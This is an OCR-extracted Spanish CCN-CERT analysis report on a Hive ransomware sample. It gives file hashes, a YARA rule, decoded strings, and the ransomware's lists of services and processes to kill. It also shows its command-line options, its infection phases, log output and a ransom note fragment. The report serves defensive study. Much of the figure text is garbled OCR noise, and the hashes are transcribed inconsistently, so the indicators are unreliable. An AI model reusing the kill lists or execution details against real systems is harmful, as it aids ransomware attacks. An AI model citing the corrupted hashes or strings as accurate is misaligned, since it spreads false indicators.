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el Centro Criptolégico Nacional puede ser considerado responsable del dafio directo, indirecto, fortuito
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Quedan rigurosamente prohibidas, sin la autorizacién escrita del Centro Criptolégico Nacional, bajo las
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1. SOBRE CCN-CERT

El CCN-CERT es la Capacidad de Respuesta a incidentes de Seguridad de la
Informaciéon del Centro Criptoldgico Nacional, CCN, adscrito al Centro Nacional de
Inteligencia, CNI. Este servicio se cred en el ano 2006 como CERT Gubernamental
Nacional espanol y sus funciones quedan recogidas en la Ley 11/2002 reguladora del
CNI, el RD 421/2004 de regulacién del CCNy en el RD 3/2010, de 8 de enero, regulador
del Esquema Nacional de Seguridad (ENS), modificado por el RD 951/2015 de 23 de
octubre.

Su misién, por tanto, es contribuir a la mejora de la ciberseguridad espanola,
siendo el centro de alerta y respuesta nacional que coopere y ayude a responder de
forma rdpida y eficiente a los ciberataques y a afrontar de forma activa las
ciberamenazas, incluyendo la coordinacién a nivel publico estatal de las distintas
Capacidades de Respuesta a Incidentes o Centros de Operaciones de
Ciberseguridad existentes.

Todo ello, con el fin Ultimo de conseguir un ciberespacio mds seguro y confiable,
preservando la informacién clasificada (tal y como recoge el art. 4. F de la Ley
11/2002) y la informacion sensible, defendiendo el Patrimonio Tecnoldgico espanol,
formando al personal experto, aplicando politicas y procedimientos de seguridad vy
empleando y desarrollando las tecnologias mds adecuadas a este fin.

De acuerdo a esta normativa y la Ley 40/2015 de Régimen Juridico del Sector
PuUblico es competencia del CCN-CERT la gestién de ciberincidentes que afecten a
cualqguier organismo o empresa publica. En el caso de operadores criticos del sector
puUblico la gestién de ciberincidentes se realizard por el CCN-CERT en coordinacién
con el CNPIC.
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2. RESUMEN EJECUTIVO

El presente documento recoge el andlisis de la muestra de cddigo daiino
perteneciente a la familia de ransomware apodada como Hive o Hiveleaks,
identificada por la siguiente firma SHA-256:

d0ceb8f5170972fe737ab9cbdd6f3eed472fbe62e244cccc46d137094d33flafc

El binario analizado estd compilado para plataformas Windows y desarrollado en
GO (x64).

El actor vinculado con este cédigo daiino ha estado involucrado en multiples
incidentes desde junio de 2021 [1]. Este grupo se caracteriza por llevar a cabo ataques
de forma indiscriminada contra todo tipo de industrias y sectores entre los que se
encuentran proveedores de atencién médica y hospitales [2]. Su modus operandi es
similar al empleado hoy en dia por otros grupos de atacantes que hacen uso de
ransomware; una vez comprometida la organizacidon exfiltran datos personales y
proceden con el cifrado de los mismos para, posteriormente, presionar a sus victimas
mediante la, cada vez mas comun, doble extorsion [3].

A fecha de realizacion del presente informe, el portal administrado por este
grupo, alcanzable desde el direccionamiento .onion donde se anuncian los leaks asi
como los tiempos de pago para presionar a las organizaciones, presenta un total de 52
empresas. Desde otro portal, accesible también desde la red .onion, las victimas
podran autenticarse para negociar (via chat con los propios atacantes) la compra del
software que permite descifrar los ficheros afectados.

El vector de entrada utilizado por los atacantes es, generalmente, el uso de spear
phishing con adjuntos maliciosos. Para la ejecucidon de sus TTPs (Tacticas Técnicas y
Procedimientos) los atacantes suelen orquestar sus acciones desde herramientas de
control remoto [4] tales como el archiconocido CobaltStrike asi como el software
comercial Connectwise/ScreenConnect (herramienta legitima utilizada en los ultimos
afios por diversos grupos de atacantes [5][6]).

La eleccion de GO como lenguaje de programacion para el ransomware
proporciona determinadas ventajas a los atacantes por la propia naturaleza del mismo:
permite cross-compilation, todas las dependencias son estaticamente compiladas en
un Unico binario (generando un .exe de gran tamafo), facilidad y estabilidad a la hora
de implementar concurrencia (por medio de goroutines), dificultad de hacer ingenieria
inversa (principalmente en binarios que carecen de simbolos), etc.
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3. DETALLES GENERALES

El fichero analizado se corresponde con un binario para arquitecturas de 64 bits,
perteneciente a la familia de ransomware Hive. Su firma se muestra a continuacioén:

MD5 7802d6315bf0d45f27bd97fb48e70f8e

SHA1l 3fOb80eb4c27e8a39768099c42c242da79cfab60

S0V dOceb8f5170972fe737ab9cbdd6f3eed72fbe62e244cccc46d137094d33f1afc

El sample ha sido remitido, por primera vez, a la plataforma de anélisis de
malware VirusTotal [7] el 27 de noviembre de 2021 desde Espafia presentando una
tasa de deteccién de 33 motores AV de un total de 66. Otras muestras con
caracteristicas similares [8], vinculadas también con hive, han sido también remitidas a
VirusTotal durante el mes de noviembre y diciembre de 2021.

3 3 (1) 33 security vendors flagged this file as malicious

dOceb8f5170972fe737ab9cbddéf3eed72fbeb2e244ccccdéd137094d33f1afc 2.69 MB 2021-11-30 02:34:06 UTC
cor.exe

‘8 s4bits assembly checks-cpu-name  direct-cpu-clock-access  peexe  runtime-modules

Figura 1. VirusTotal: tasa de deteccion

El fichero tiene un tamafio de 2,68 MB (2.819.584 bytes) y se ha desarrollado en
GO para arquitecturas de 64 bits. La siguiente imagen muestra las propiedades
estaticas del mismo:

«00200000024000808
x0080808008455328

8600000000400000-00000002004810600
£800008000401808 800880AE08574080
00000000005740800

2000008000

0006008000

20000080087 20 90080080007 0FEBE
08000060007 0FB00 - 8000B0EE007 10880

Figura 2. Propiedades estaticas PE
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Algunos de sus strings revelan su relacion con el ransomware Hive. Asimismo, la
plataforma Intezer identifica un gran nimero de bloques de cddigo (code genes)[9]
gue lo vinculan con dicha familia de malware.

rule MALWARE Win Hive {

2 meta:

3 author = "ditekSHen"

2 description = "Detects Hive ransomware”
5 strings:

6 $urll = "hcep://hivecust” ascii

7 Surl2 = "hep://hiveleakdb” ascii

8 §s1 = "encrypt_files.go" ascii

] $52 = "erase_key.go" ascii

$s3 = "kill processes.go” ascii
$3¢ = "remove_shadow_copies.go" ascii
$s5 = "stop_services windows.go" ascii
$36 = "remove_itself windows.go" ascii
1 $x1 = "fencryptor/™ ascii
il $x2 = "HOW_TO_DECRYET.ctxt" ascii
1 $x3 = "FilesEncrypted" fullword ascii
1 $x4 = "EncryptionStarted” fullword ascii
$rS = "encryptFilesGroup” fullword ascii
$x6 = "Your data will be undecryptable" ascii
2 $x7 = "- Do not fool yourself. Encryption has perfect secrecy” ascii
1

21 $vi 1 = ".EncryptFiles.” ascii (B cmdee |

22 $vl_2 = ".EncryptFilename." ascii

23 $vl 3 = ")*struct { F uintptr; .autotmp 14 string }" ascii

24 Svl_4 = "D*struct { F uintptr; data *[]uincs; seed *uint8; fnc *main.decFunc }" ascii
25 $vi_5 = "golang.org/x/sys/windows.getSystemiWindowsDirectory” ascii

26 $vi_6 = "path/filepach.WalkDir" ascii

27 condition:

28 uintl6(0) == OxSadd and (all of ($url*) or all of ($s*) or ¢ of ($x*) or 5 of (§v1*))
29 1}

Genetic Summary Related Samples g ? ) Strings (5,000)

Code Cluster

Figura 3. Regla Yara / Andlisis Intezer

Pese a que el binario ha sido stripped es posible obtener el nombre de sus
funciones y paquetes. Gran parte de estos simbolos provienen de la pcin table
(estructura incorporada en la versién 1.2 que contiene el mapeo entre los nUmeros de
linea del cédigo fuente y la ubicacion de cada instruccién en ensamblador). Esta tabla
tiene como objetivo generar stack traces mdas amigables para el desarrollador
incluyendo en que parte del codigo tuvo lugar cierto error. Esta tabla es conservada
incluso cuando se hace stripping del binario permitiendo, a partir de la misma,
identificar las funciones a las que pertenece cada bloque de cdédigo.

aCryptoRsaCheck db 'crypto/rsa.checkPub’,e
aloReadfull db 'io.ReadFull’,e

aCryptoRsaPubli db 'crypto/rsa.(*Publickey).Size’,®
aMathBigIntBitl db 'math/big.(*Int).Bitlen’,8
aMathBigIntSetb db 'math/big.(*Int).SetBytes’,@
aCryptoRsaInit db 'crypto/rsa.init’,8
aCryptosha512In_@ db ‘crypto/sha512.init.@',8
aCryptoRegister db 'crypto.Registertash',@

7 aCryptosha512Di_@ db 'crypto/sha512.(*digest).Reset’,@
5 aCryptosha5i2Ne db 'crypto/sha512.New',@
aCryptoshaS12Ne_ @ db *crypto/sha512.NewS12_324',6
aCryptoshaS12Ne_1 db ‘crypto/sha512.News12_256',0
*crypto/shasi2.Newssa' o
‘erypto/sha512.(*digest).Size’,@
*crypto/shasi2. (*digest).urite’,0
aCryptosha5120i_ *crypto/sha512.(*digest).5um’ @
aCryptosha5120i db 'crypto/sha512.(*digest).checkSum',@
aEncodingBinary_8 db ‘encoding/binary.bigEndian.PutUint64’,a
aCryptosha5125u db 'crypto/sha512.5um512_256',0
aCryptosha51261 db 'crypto/sha512.block’,@

7 aCryptosha512In db 'crypto/sha512.init’,e
aCryptosha51261 @ db ‘crypto/sha512.blockAMD64',@
aCryptoshaS1281_1 db *crypto/sha513.blockAVX2',8

aGolangOrgXsysi_24 db 'golang.org/x/sys/windows.CloseOnExec',@
aGolangOrgXsysi_23 db 'golang.org/x/sys/windows.CloseServiceHandle’,a
aGolangOrgXsysi_22 db 'golang.org/x/sys/windows. (*LazyProc).Addr’,8
aGolangOrgXSysW_21 db 'golang.org/x/sys/windows.errncErr’,8
GolangOrgXsysW_20 db 'golang.org/x/sys/windows.EnumServicesStatusEx',@
aGolangOrgXSysW_19 db 'golang.org/x/sys/windows.OpenSCHanager',@
aGolangOrgXSysk_18 db 'golang.org/x/sys/windows .ClossHandle',&
aGolangOrgXsysk_17 db 'golang.org/x/sys/windows.CreateProcess’,8
aGolangOrgXSysi_16 db 'golang.org/x/sys/windows.CreateToolhelp32Snapshot’,0
aGolangOrgXsysi_6 db ‘golang.org/x/sys/windows.GetDriveType',0
aGolangOrgXsysi db 'golang.org/x/sys/windows.GetLogicalorives',8

2 aGolangOrgXsysW_@ db ‘golang.org/x/sys/windows.GetStdHandle',@
aGolangOrgXSys_1 db ‘golang.org/x/sys/windows.getSystemDirectory’,@
aGolangOrgXsysi_2 db ‘golang.org/x/sys/windows.getSystemdindowsDirectory',@
aGolangOrgXsysi_3 db 'gelang.org/x/sys/windows.LoadLibraryEx’,s
GolangOrgXSysW_4 db 'golang.org/x/sys/windows._LoadLibraryEx',@
GolangOrgXsysi_5 db 'golang.org/x/sys/windows.OpenProcess',®
aGolangOrgXSysW_7 db 'golang.org/x/sys/windows.Process32First’,@
aGolangOrgXSysk_8 db 'golang.org/x/sys/windows.Process32Next’,@
aGolangOrgxsysi_9 db ‘golang.org/x/sys/windows.SetFileAttributes’,8
aGolangOrgXsysi 16 db ‘golang.org/x/sys/windows.SetHandleInformation’,8
aGolangOrgXsysk_11 db 'golang.org/x/sys/windows.TerminateProcess’,8
aGolangOrgxsysk_12 db 'golang.org/x/sys/windows.WaitForsingleobject’,0

Figura 4. Strings .rdata
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4. CARACTERISTICAS TECNICAS

El cédigo danino estd desarrollado en GO 1.16 segun la informacion que refleja
su estructura moduleData [10] (tabla que recoge informacién relevante sobre la
estructura del binario). Tras identificar su pcin table[11] por medio de su magic
number es posible renombrar automaticamente el nombre de la funciones desde IDA,
facilitando la ingenieria inversa.

Functions (& | Functions
Function name Segment Start Length - Function name Segment Start Length
[7] sub_401000 text 0000000000401000 0000004D ["| |[F] internal_poll_ptr_FD_PreadA_autegen EHIOKL toxt 0000000000494E40 0000004C
(7] sub_401060 foxt 0000000000401060 00000616 {1 |[F] internal_poll_ptr_FD_PreadA_autogen 40PNGE toxt 0000000000434EAD 0000004C
(7] sub_016A0 = 00000000004016A0 00000465 (7] internal_poli_ptr_FD_Write text 0000000000494F00 00000487
[7] sub_01B20 et 0000000000401820 00000018 (7] internal_poll_ptr_FD_WriteA et 00000000004953C0 0000004C
(7] sub_401B40 tot 0000000000401840 00000011 (7] internal_poll_ptr_FD_WriteA_autogen_3GIXSZ ot 0000000000495420 0000004C
(7] sub_401B50 tot 0000000000401 860 00000078 [7] internal_poll_ptr_FD_writeConsole ot 0000000000495480 00000565
(7] sub_401C00 et 000000000041.C00 00000085 [7] internal_poll_ptr_FD_Pwrite toxt 0000000000495A00 000004EE
(7] sub_401CA0 = 0000000000401.CAD 0000006F (7] internal_poll_ptr_FD_Pwrite text 0000000000495F20 00000050
[7] sub_t01020 et 0000000000401020 0000027F (7] internal_poll_ptr_FD_Pwriteh_autogen 4ZOIOR et 0000000000495F30 0000004C
(7] sub_401FE0 tot 0000000000401 FED 00000245 [7] internal_poll_ptr_FD_PwriteA_autogen_ZRTPTR ot 0000000000495FED 0000004C
[F] sub_402240 tot 0000000000402240 00000020 (7] internal_poll_ptr_FD_FindNextFile ot 0000000000496040 00000157
7] sub_402280 et 0000000000402250 00000022 [7] internal_poli_ptr_FD_FindNextFileA toxt 00000000004961C0 0000004C
(7] sub_402500 = 0000000000402500 00000238 (7] internal_poll_ptr_FD_GetFileType text 0000000000496220 00000175
(7] sub_402520 et 0000000000402520 00000172 (7] internal_poll_ptr_FD_GetFileType et 0000000000496340 0000004C
[#] sub_402820 tot 0000000000402520 00000159 (7] internal_poll_ptr_FD_Read_funcl ot 0000000000496400 00000052
(7] sub_402840 toxt 0000000000402840 00000154 (7] internal_poll_ptr_FD_Wite_funcl ot 0000000000496460 00000040
(7] sub_402860 et 0000000000402860 000002F4 (7] internal_poll_init toxt 00000000004364C0 00000108
[7] sub_402850 = 0000000000402860 00000021 [7] internal_poll_ptr_errNetClosing_Error et 00000000004965E0 0000004C
[7] sub_02840 et 00000000004028A0 00000021 (7] os_ptr_File_RezdDir et 0000000000496640 00000086
[7] sub_402000 tot 0000000000402000 0000012F (7] os_ptr_File_readdir ot 00000000004966E0 000007F0
(7] sub_402020 text 0000000000402020 0000012F [7] os._dirEntry_Name ot 0000000000496F00 00000008
[7] sub_402F80 et 0000000000402F50 00000003 (7] os_dirntry_IsDir toxt 0000000000496F20 00000020
(7] sub_403080 = 0000000000403080 00000005 (7] os._dirEntry_Type text 0000000000496F60 00000083
(7] sub_403180 et 0000000000403180 00000052 (7] os_ptr_SyscallEror_Error et 0000000000497000 00000066
[7] sub_4031E0 tot 0000000004031 E0 00000052 [7] os_underlyingErrorls ot 0000000000457080 00000205
(7] sub_403240 et 0000000000403240 000000F5 (7] os_init 0 text 0000000000497240 000000E7
(7] sub_403360 et 0000000000403360 000000F5 (7] os_readNextarg toxt 00000000004373A0 0000041F
(7] sub_403480 = 0000000000403480 00000202 (7] os_commandLineToArgv text 00000000004977E0 00000145
[F] sub_s03780 et 0000000000403780 00000006 [7] os_Executable Jtext 0000000000497940 0000002A
7] sub_1037A0 tot 0000000040370 00000009 [7] os_getModuleFileName ot 0000000000457980 00000045
(7] sub_1037C0 text 0000000004037 C0 00000004 (7] os_ptr_File_Name ot 0000000000487 A40 00000014
[7] sub_403760 et 00000000004037E0 00000008 (7] os_ptr_LinkError_Error toxt 0000000000497A50 00000108
(7] sub_403800 = 0000000000403800 00000004 (7] os_ptr File Resd text 0000000000497880 0000015
[7] sub_s03820 et 0000000000403820 00000014 (7] os_ptr_File ReadAt et 0000000000497D60 00000305
7] sub_403840 text 0000000000403840 00000016 (7] os_ptr_File_ Write text 00000000004980A0 000001F5
(7] sub_103860 text 0000000000403860 00000017 ;; os_ptr_File WriteAt = 00000000004382C0 00000325
(7] sub_403880 et 0000000000403850 00000037 T
(7] sub_4038C0 = 00000000004038C0 00000039 Qutput
[7] sub_403900 text 0000000000403900 00000048 Creating structure structType
(7] sub_403960 tot 0000000000403960 0000004D g_::z:g Z:::;::: ]ij::;:::ze‘rype
(] sub so39c0 et 00000000004039C0 0000004D Creating structure funcType
(7] sub_403A20 et 0000000000403A20 000000AE = None
« m ] 3 According to moduleData struct is should be gol.lg] |

Python

Figura 5. Reconstruccion nombre de funciones (pcintable)

El cédigo dafiino comienza reservando memoria donde decodificara algunas
cadenas e informacion que requerira para el proceso de infeccion.

s o B ]
H rax: W 0000000000000006
. Rx “acronis| iru®
. trax) 8o €0F - DUOOUN000 72780
. rdx w Box .
H ReP
. [3
HE RST
HE . B o
.
. £l rex as
oo Imov rcx,qword ptr ds: [rax] a2
|mov Fax,rax rdxi W . &0
|moy ax)E S ey
| e rex Riz “acronts| fviru®
| mov rex,qword per ds:frax) —~ R13
mov rax,rax el
e ey
i ok
e EEx e . pEr TN (X 803 g 1_inté4 _fastcall[decryptiste] intss al, _QORD *a2, _ % _intos ad)
: 2l
R > CAL D PRESS ¥ "
HE rax: :
. ° IF ( Bretadde <= *(v5 + 16) )
: P . runtime_morestack(sl, a2, 33, 84);
. rdx:= W ® = 02(2];
: o - 205
. ds:frax] o =a2(1];
: w °1 (]
. s rax) o1 by
HE raxi W ®13 if (w2] <3 +1)
. ds: frax) ®1 - vz
. w o1 =vei
H S il
o1 - ;
o = runtise_growslice(vd, 3, V5, V7);
. cor. 3 #16ECCD <sub, b - H
— = = 2 if ( dword_6FCCO0 )
Wouo2 | goump3 | Wsoumps | eSowos | 8 warhy | ieliocas | st | Goumps ®2 ) = runtise_gciriteBarrier();
1 2% else
6E 00|65 O o ® 25 2 . 3
& 00/00 o o °2 =
&1 00|70 o o k
€ 00/00 O o .2 - o
69 65 72|53 6 & |Registerseriicec 2 - v7;
3| 6 e|es 7 T fhandterbxw, . o2 B
73 7|4 ¢ Acronts|acrschis 2
s 76|53 7 Velantivir ® 30 - vi0;
00 0035 o o
00/00 O >4
00 00/00 O
2000 o
00 00100 00 o
00 00(00 00 S ;
00 00|00 00 ® 35 H
100 00 00 00100 00 o
| o 00 00 00|00 00 °3
000000C00000E 370 00 00 00 00 00 00/00 00 00 90(00 00
000000C 00000£ 400 | 00 ¢ 00 00 00/00 00 00 00i00 00 00 *

Figura é. Decodificacion strings
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Tras finalizar dicho proceso de desofuscacion se encontrardn en claro: el listado
de procesos y servicios a finalizar, mensajes de logging, regex con el tipo de ficheros a
excluir del proceso de cifrado, contenido de los .txt que dejard en cada directorio, etc.

Address : ASCIT : : - 000000C000589E70 | 0000000000000000

000000CO00098330 | 5. An. . & KK.D. BNHEAD ZA-5 0 v vvsoensnnn e onnnns agntsve|sgl |CNTA O e S fonanin Do O O e
000000C 000098370 | 0SMar | dbeng50 | dbsnmp | encsve | excel |Firefoxconfig|infopath|mbamtra
000000C 000098380 | ¥ |msaccess |mspub |mydesktop |Ntriscan|ocautoupds |ocomm|ocssd|oneno
000000CO000983F0 | te|oracle|outlook |PccNTMon | power pnt [sqbcoreservice|steam|synctim
000000C0D00098430 | e| thirdcontig|thebat | thunderbird|tmlisten|visio|word|xfssvecon|z
000000C000098470 |00T1Z. . v vavunrnns (7iragntsvec|sql |CNTAoSMgr |dbengs0|dbsnmp | encsve |
000000C000098480 | excel | Firefoxconfig|infopath|mbamtray|msaccess|mspub|mydesktop|N
000000C0000984F0 | trtscan|ocautoupds |ocomm|ocssd|onenote|oracle|outlook|PCccNTHON|p
000000C000098530 | owerpnt | sqbcoreservice|steam|syncti ne\tb1rd:onf1glthebatlthunder |
000000C 000098570 b1rd|t'n11sten\v1 51o|word|xfssvccon\zoo]zj..

000000C000582E80 | 000D00CO000ICEAD §
000000C0005 23ESE | 00D000CO00589F70 | "DYX"

000000C0005 83E30 | 000000000056F3FB | return to cor.000000000056F
000000C0005 83E3E | 0000000000000000
000000C0005 S3EAD | 0000000000000000
000000C000553EAS | 0000000000000005
000000C000589E60 | 0000000000000000
| co0000C000S S9EBE | 0DDOOOCONOD00E3AD | "Grant permissions to all f
L}l 000000C0005 89ECO | 0ODD00000000001E
000000C0005 83ECE | 0000000000000031

gggggﬁggggggg Eg 000000C000589ED0 | 74732000000000000
000000C 000098630 000000C0005 89EDE | 020000020201706F
000000C000098670 000000C0005 39EE0 | 0000000000000004
000000C0000986B0 000000C0005 33EES [ 00000000000003CE
000000C000098EF0 000000C000589EFO [ 0000000000000114

000000C0005 89EF & [ 0000000000000004

000000C000038720 000000C0005 89F00 [ 0000000000000004

000000C000038770 . Ro..e . mo..e o e

000000C000098780 /0. .r. ... ..N...q $...t...r...U...€.......0AD.05ei8LDEIBA, B “stopz®
- 0000005 33F 15 | 00D0DOC000034620 | & agntsve|sql |CNTAoSMgr | dbe
4 Dump 3 o |- 88 Fo50c 000z 2252 0| oobooACO0D01285D
Sddress et — P000C0005 53725 | DOODDOCOOD034610 | &"acronis | AcrSchasve [Antivi

000000C00009FCO0 | ACronis |AcrSch2sve|Antivirus |ARSM |AVP | backup | bedbg|CAARCUpdatesy Sggggggggg;g gggggigggg;g‘gag "acronis|acrschasve |antivir
000000CO000SFC40|  |CASAD2DWebSve | CCEvEMgr | ccsetMgr [Culserver |dbengs|dbsrviz |[pcage 000C000329F 40| 000000C000098360 | "agntsve | 5q1|CNTAosUar | dben
000000CO000SFCS0| nt [Defwatch|Ehttpsrv|ekrn|Enterprise Client Service|EPSecuritySe 000C0005 33F 45 | 0DDODOCO00D1ZE30 | “skipl™

D00D0DCOD00SFCCO| rvice|EPUpdateservice|Erasersvc11710|Esgshkernel | ESHASRY | FA_Sche h000C000529F50 | 000000C000012E10 "|:11]"

000000C00009FD00 | duler |[firebird| IISAdmin|IMAP4SvC| INTuit|KAVFS|KAVFSGT |kavfssip|k 000C000535F5 & | 000000C000012E58 | “grant™

000000C00009FD40 [ Tnagent |macmnsvc|masvc |MBAMService|MEEndpointAgent |McAfee [Mcshie 000C 0005 83F60 | 00000000005 7FE20 | cor . bool

000000C00009FDE0 | 1d [McTaskManager |memtas |mepocs |[mfefire |mfemms|[mfevtp|MMS |MsDtss [ | poaocooos saF &5 | poooooc 000028000

000000C00009FDCO | erver [MsDtsServer 100 [MsDtsServerllo | msexchange|msmdsryv [MSOLAP MV ' hooocooos s3F70 | DooDODCODOS 89FDO
000000CO0009FEQD [ Armor |Mvarmor 64 | NetMsmgActivator |ntriscan|oracle|PDVFSService|PO 000CO00SS32F7 8 | DDOD00DD000A30EF7 | FeTurn To cCor.0000000000430
000000CO000SFE40| P35vc | postgres |QBCFMoni torService |QBFCService|QBIDPService|redis 0000005 S3F 50 | 000000C0000180C0

000D00COO00SFESO| | report [RESve |RTVscan|sacsvr | SamSs | SAVAdminService| SavRoam|SAvse 000C0005 25F5E | 0000000000000000
000000C0O0009FECO | rvice|SDRSVC |SepMasterservice|ShMmonitor |Smcinst|smcservice|SMTPS 000C 000523690 | 0000000000000000
000000CO0009FFO0 | VT | SNAC | Sntpservice|sophos|sql | Sstpsve|sto_raw_agent [Asve|swi_|5 000C 0005 23698 | 0000000000000000
000000CO0009FF40 [ ymantec | TMCCSF |tmlisten|tomcat | Truekey | UIODETect | veeam|vimwar e | vs 000C 0005 23F AN | 0100000000000000
000000CO0009FFB0 | 5 |W3Sve |wbengine|webCl1ient |wrapper |MRS\zC|hsEExchange|YooIT|zhudo

000000C00009FFCO ngfangyulzoo]z
000000C0000A0000 | 0. v s nunss 1 bm. &, ¥ubdmA.
000000CO000A0040 | . EY2a0. i WRVE.M.D=0. .1t

000C000583FAS | 0000000000000000
aphl L alE 000C000589FB0 | 000000C000028000

- 000C0005 89FEE | 0000000000431000 | cor. runtime_main_func2
IR D ke DhEATIKUAD) 0! ) Ve e [ aE e

Figura 7. Cadenas en claro

El cddigo dafino escribird en disco la clave de cifrado (cifrada con multiples
claves RSA) bajo el nombre <random_base64>.key.<5_character> (en la muestra
actual “fayg2”). Posteriormente, finalizard un conjunto de servicios y procesos y
empezara a recorrer el sistema de ficheros para cifrar los archivos correspondientes.

De forma opcional, el ransomware acepta como parametro de entrada el path
del directorio que se desea cifrar (de forma recursiva) asi como las siguientes opciones:

— stop: para indicar los servicios que se quieren finalizar. Si se especifican
varios servicios tendran que indicarse con el separador “|”. Por ejemplo:
“vboxservice [wscsvc”.

— kill: para indicar los procesos que se desean finalizar. Si se especifican
varios procesos tendran que indicarse con el separador “|”. Por ejemplo:
“baretail [ putty”,

Si no se especifica ningun argumento se cifrara la unidad del sistema omitiendo
el directorio c:\Windows. En la siguiente imagen se muestra, a modo de ejemplo, el
cifrado del directorio c:\test\ ademas de finalizar el proceso “baretail” y de parar el
servicio “vboxservice”

C:\Windows\system32>c:\Users\Publichcor.exe -stop "vboxservice" -kill "baretail" c:\test\
C:\Hindows\system32>sc query vboxservice

SERVICE_NAME: vboxservice
TYPE

3250HN_PR0CESS @Cv\ |+ Computer » Local Disk(C) » Test <[] Search Tes
PEI

Organize +  Includeinlbrary ~  Sharewith = Newfolder
& Favorites Name : Date madified Type Size
B Desktop ] MyEY_HOW_TO_DECRYPT ot 06/12/20210:06  Text Document 2k8
& Downloads ] Readme b XiMOupSMiod2NG_mKShrt,,  02/12/2021 2302 FAYG2 File oke
FLARE ] XiMOUpSMNiod2NO_mKS4rtCBUSCCERyA... 06/12/2021 0:06 FAYG2 File 1181 KB

%l Rerent Plares

Figura 8. Cifrado directorio Test

Nota: Si el binario no puede crear en disco el fichero con la key no se llevara a cabo el
cifrado de ficheros y se finalizara su ejecucion.
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Todo el proceso de infeccién estd dividido en una serie de etapas que el
ransomware ira reflejando a modo de log. La siguiente imagen muestra la funcion
encargada de orquestar cada una de estas fases:

1 |__inté4 _ fastcall BqlfecMR__ptr DHgqéniZq_RunProcess(__int64 al, _ int64 a2, _ int64 a3, _ int64 a4)
2

3 // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]
4

5 if ( &retaddr <= *(v4 + 16) )

3 runtime_morestack_noctxt(al, a2, a3, a4);

7 result = BqlfecMR_ ptr_DHq6niZq_Init(al, 52, a3, a4);

8| if ( lresult )

5 {

1@ result = BqlfecMR_ ptr_DHq6niZq_ExpertKey(v7, vé, vi, vi);

11 if ( lresult }

12 {

13 BqlfecMR__ptr_DHgéniZq_Preprocess(); // StopService / KillProcesses
14 BglfecMR__ptr_DHqéniZq_PreMotify();

15 BglfecMR__ptr_DHg6niZq_ScanFiles(vil, v1é, viz, v13);

16 BqlfecMR__ptr DHgéniZq_EncryptFiles();

17 BqlfecMR__ptr_DHqéniZq_Erasekey();

18 BglfecMR__ptr_DHgeniZq_Motify();

19 BqlfecMR__ptr DHgeniZq_Postprocess();

20 BqlfecMR__ptr_DHgéniZq_EraseMemory();

21 3}

22

23 return result;

24 1}

Figura 9. Fases de infeccion

En el sample analizado dicho proceso de logging se lleva a cabo mediante la API
WriteFile (con un handler a null) aunque en otras versiones [2] esta informacién es
mostrada por stdout. Los mensajes que reflejan cada una de estas fases, acompafados
de su hora, se muestran a continuacion:

00:52:34 Exporting key

00:53:27 +export c:\<random>_.key.fayg2
00:53:51 Stopping services

00:55:00 Removing shadow copies
00:55:39 Killing processes

00:56:00 Scanning files

00:56:30 Encrypting files

00:57:22 %encrypt <file_path>

00:57:22 +encrypt <file_path>

00:58:34 Removing itself
00:59:12 Erasing memory

0000000077 621F7F a0

nop p—
s . RAX  0000D0D077621F80 <kernelzz.writeFiles
';33",;‘;’,‘35 Writerile 000000CO00032AE0 <&WriteFile>
T e RCX  000000000000DO0D
test ra,rs RDX  000000C00000FSA0 | 56:10 Exporting keywn'|
- Jje kernel3z.77621F50 e
i mov dword ptr ds:[r9],ebx < m
cmp ecx, FEFFFEFS
- jag kernel32. 77637CE2 |Default (x5 fastcall
' MOV rax,rcx 1: rcx DDODOOODODDOODOD
| and eax,10000003 2: rdx S e
! emp rax,3 [J| 3 r8 0000000000000017
[ 74 e kernel3z.77622016 4: r3 00000OCO00531AF4
i mov rax,qword ptr_ss: [rsp+soll 5: [rspr28] 0000000000000000
St et hepeiporRorn PUT SRR e | | sassa0555781r0R0|
100778/
wor7s| |t Log

10077E [+] WriteFile
100778 [+] WriteFile

240:28 +export C:\\e4K8SWEvvOmOHGQeQ-ylUYM1SyAyTEEKLIRCAXhI KX__key.faygZ\n”

190778, 1) Wriverile: 00-40:29 tempore c:\\Tess\neiKESPTYGROICYSQ. v1VYII SyAYTEPREICIRNT KK Koy, feygZ\Mienport C\\TessAL IR To PR [T AR
00778 [+] WriteFile VYM13yAyTEPhbIRC4XhT KX_.key.faygZ D e \\Testh\ 'VYM13yAYTEPhDIRCAXNT_¥X_.key.fayg2"
100778 (41 mesrersin: B T o et R T e e T e FEm P P (e et TN T e S i

100778 p1T, Loaded: 00000 20000 C:\Windows 2\apphelp dll

\077g| Thzead BG4 ereated, Zmcry: modll.0000000 co

100778 [+] WriteFile: "00:40:35 Killing processes\npies\nvv@mOHGQeQ-ylVYM13yAyTEPhbRCAXhI_KX__ key. fayg? port c:\\Test\\ V¥M13yAyTEPhD1RCAXRI_KX__key fayg2”
100778|  [+] HziteFile: :35 Scanning files\nes\npies\nvvOmOECReQ-ylVYML3yAyTEPRLIRC4XRT_KK_.key.Zfayg? port e:i\Test\\ VYM13yAyTEPhb1RCAXRT_KX_.key.fayg2"”
D078 1+] WriteFile: =38 £iles\m\npi V¥M13yAyTEPhD1RCAXhI_KX__key fayg? port c:\\Test\\ VYM13yAyTEPRB1RCAXhI_KX__key.fayg2™
w00778| [+] WriteFile: 37 sencrypt c:\\Test\\Readme txt\nHGReQ-ylVYMI3yAyTSPRbIRC4XnI_Ki__key. faygl port e:\\Test\\ Y1VRM13yAyTEPRDRCIXRT_KK__key. fayge™
W00778| [+] WriteFile 142 +encrypr e:\\Test\\Readme.tst 4.346=\nlV¥ML3yAyTSPRLIRC4XRI_KH_.key.Zayg? port e:i\Test\\ VYM13yAyTEPRBIRCAXRI_KX_.key. fayg!
100778/ [4] WriteFile 43 Erasing key\nTest\\Readme txt 4 946s\nlV¥M13yAyTEPhb1RCAXhI_KX_ key fayg? port c:\\Test\\ VYM13yAyTEPhb1RCARRI_KX_ key. fayg:
ooire| 1 mriteFile 24 Novifying\ny\nTest\\Readme ©xt 4.3463\nlVQM13yAYTEPRBIRCAXRI KK_ key fayge poTT CI\\TesT\y YLUYMI3YRYTEPRDIRCAXNT_KX__key.fayg2"
00778| [+] WriteFile: "Your network has been breached and 21l data weze A 1 data, fi 1 reports and important documents are ready te disclose.\r\n\z

100778/ \nTo decrypt all the data and to prevent exfiltrated files to be disclosed at \r\nhttp://hivel 1yhisa e

100778 \myou will need to purchase cur decryptien software \z\n\r\nPlease contact cur sales department ati\\m\rin  hETpi/ 3 onien/\r\r
100778| 7 jLoaind

